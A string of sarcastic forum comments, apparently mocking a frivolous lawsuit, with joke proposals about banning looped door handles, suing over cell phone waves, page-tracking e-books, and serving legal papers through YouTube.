My own idea for "preventing the next VT tragedy" was to crack down on the manufacturers of doors, not the sellers of handguns. If it were illegal to manufacture doors with closed loops in their handles, the guy wouldn't have been able to chain the door shut.
I want a precedent set. Then I will also sue for any cell phone waves passing over my private property.
Well first of all I need to know who the check should be made out to. I also need a good address I can use so that if I send it via airmail it flies over your house.
Once they figure out how to make a book that phones home every time you turn a page and identifies you to a server using a fingerprint scanner, borrowing those books will be impossible, and borrowing any book (except the Bible) will become illegal.
Man, I feel bad for the process server who got that assignment.
First upload yourself to Youtube handing papers to a camera and saying, "you've been served!" Provide a link to a PDF somewhere with the actual documents. Then goof off on the Internet all day posting your links. Just keep telling people "you know what you did" and let your defendants all over the Internet spread the word- doing your process server work for you "virally". Do a brief writeup in your blog, send the URL to the court clerk, and wait to see if the Internet shows up in court.